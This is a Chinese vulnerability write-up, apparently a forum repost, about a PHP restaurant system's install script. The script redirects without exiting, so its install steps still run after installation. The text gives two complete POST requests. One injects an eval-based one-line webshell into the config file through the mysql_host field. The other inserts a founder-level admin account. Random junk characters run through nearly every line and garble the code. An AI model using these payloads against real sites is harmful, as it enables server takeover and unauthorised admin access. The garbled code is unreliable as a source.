问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
5 q" A% u. `, _6 Z1 G0 c3 E# j6 L& u6 J
<?php
8 h3 U# c% @. \1 H: Kif(file_exists("../install.lock"))
9 I3 W6 c+ p( w* X8 x{
. m0 l0 M/ c' l: ]$ j( h: y; t7 m header("Location: ../");//没有退出% |: y4 g+ F6 U: f4 e
}: [8 n! C$ t9 `! o2 D) \% e
u' e0 z8 f7 y4 c0 O
//echo 'tst';exit;
! x+ `1 O0 q5 h6 qrequire_once("init.php");- F, P" D, N- w8 M$ z
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
; Y( z/ N/ Z( N{8 E2 w& u) B4 _3 T, ^
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
8 y \- V! @9 g* q& X; w3 Y9 t& @$ k F+ @! W
1、getshell(很危险)
9 B- A" [: ]+ z Zif(empty($_REQUEST['step']) || $_REQUEST['step']==1): p# V$ ?5 @. W# \+ p6 N
{8 G/ f: _: s+ I: r2 @; O! q
$smarty->assign("step",1);
7 S1 ~+ {3 b1 o8 h+ e( v$smarty->display("index.html");4 ^1 D# j) M' a/ f
}elseif($_REQUEST['step']==2)
9 E" c* M: }4 x9 W( o3 v" q8 u{
7 x4 |8 y. s6 O- G+ i! Y: ? $mysql_host=trim($_POST['mysql_host']);
) G8 {" o/ x7 G/ r* X) G" {! ` $mysql_user=trim($_POST['mysql_user']);
2 v8 i* l$ H. K+ ?* M3 k3 ]2 f6 N7 k $mysql_pwd=trim($_POST['mysql_pwd']);
/ }3 g# E/ s J1 o6 |" \% X: c $mysql_db=trim($_POST['mysql_db']);9 C8 f8 Q$ p7 k+ `3 a* e
$tblpre=trim($_POST['tblpre']);1 b0 G5 Z3 {0 V8 L8 O
$domain==trim($_POST['domain']);
4 g g1 j1 s7 q $str="<?php \r\n";
* Q1 d. P) m* B6 p5 n6 `0 u/ O $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
8 i5 x* t+ L" w; G' R $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
7 i% A) T* L$ @/ A7 k $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
- a( J+ F1 [ W $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
( U- |7 W/ ~) ]* E; ?* h $str.='define("MYSQL_CHARSET","GBK");'."\r\n";6 M; e* Y* e. T% y0 s0 i
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
+ Q! L d+ K. t $str.='define("DOMAIN","'.$domain.'");'."\r\n";6 o' R2 q0 m. |+ E4 k/ P; o4 x
$str.='define("SKINS","default");'."\r\n";
+ T7 D# C) `: H: X $str.='?>';
) _ r: J2 x) q S2 J file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件5 }- `" h) p& M6 J, ^7 @: ~: O6 B
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马' t* X% k2 {3 f$ z6 @
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
3 I, v( j( t. p$ n7 VHost: 192.168.80.129
& O# O+ X3 H* [5 WUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
8 O; e4 l$ D4 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8$ C5 _3 Y J) b" n' ~
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
5 ~% V0 }5 a* L+ Y9 aAccept-Encoding: gzip, deflate
" ^, G: \1 A, _0 z; C8 eReferer: http://192.168.80.129/canting/install/index.php?step=1
6 @5 `0 m2 z2 G- b8 i2 ECookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42: q% H( ^1 v6 d0 ]
Content-Type: application/x-www-form-urlencoded
: |, f; g* E7 [7 L, e% CContent-Length: 126$ R" o* k2 B! g1 T
# |% E1 N! v4 m1 M! L" vmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
: i" s: @% O( ?4 [6 A4 J# A但是这个方法很危险,将导致网站无法运行。. k4 J- d7 f0 F1 d; a8 Y( U, g
& T9 t2 Z0 [2 P5 X6 Z; D- e
2、直接添加管理员9 D4 [, _: ~" e/ R/ x
" @% n- n- m# E: I+ ^2 [elseif($_REQUEST['step']==5)# |, Q, O6 E' C$ F+ l- M7 V* r
{& \" b6 C. V3 z/ d
if($_POST)* u: ?& c% {5 N, }: y( j( _
{ require_once("../config/config.inc.php");( l: J& I" u* ?$ ?, Q# _
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);) q% I8 A8 K/ ?6 m# q
mysql_select_db(MYSQL_DB,$link);1 i4 F; r8 R% {! D$ N
mysql_query("SET NAMES ".MYSQL_CHARSET );) O8 { s; P' P' z/ I% v
mysql_query("SET sql_mode=''");
$ q% I5 d! P m& p0 h9 [& F3 B! e$ P
$adminname=trim($_POST['adminname']);
2 D5 q7 y# s7 J. b" ] |) a3 [" W0 W $pwd1=trim($_POST['pwd1']);
( o4 T1 X2 Y, x+ l $pwd2=trim($_POST['pwd2']);
A) w( ]% f! B3 T+ r2 G- g: N4 T3 n if(empty($adminname))7 }; q- `! H; B+ V0 n
{
8 }" {9 i! @# O
0 r3 y! N) s' `' W2 m. M echo "<script>alert('管理员不能为空');history.go(-1);</script>"; [$ q. ~: w: \9 M
exit();: O0 U1 K* c; s J' v+ [; E
} H; J/ v, B5 i# A& c3 ^
if(($pwd1!=$pwd2) or empty($pwd1))
4 X+ b! S/ o3 g+ z& [- y* m# u( R {
5 n i: G) H9 ?& T% V. m* N+ c echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
+ ?0 i x9 Z* |" V% h }
- i; v0 n. C( h- u2 ?. y mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员" U m9 f; ?% B& O2 B7 z
}
6 J: N. m' C" v3 H4 d8 e, @这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:8 v% N! l' x+ L6 U% g& u
POST /canting/install/index.php?m=index&step=5 HTTP/1.1: M/ E& l( u8 ~3 z( J
Host: 192.168.80.129
' F. j2 G; X. Z7 _9 {2 {% `2 BUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
# t# N8 o W1 y: j8 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8& ]" ]- c' H- w7 D! W
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.32 W/ X8 }5 N) W/ N% n! B& o
Accept-Encoding: gzip, deflate
4 @, m- G; [; ?2 N' TReferer: http://www.2cto.com /canting/install/index.php?step=1
2 b1 C% V& b. n" W ^/ T4 {1 zCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc423 z. k( w* q0 ?' D! H
Content-Type: application/x-www-form-urlencoded
. s' Y L% K' b5 _. Q. HContent-Length: 46
/ t: M2 y! N/ Z3 Y- d9 o, P& {! T2 R7 @ * Z5 \9 f6 e7 ^( M
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
/ t' F' o, L6 V+ G1 t N |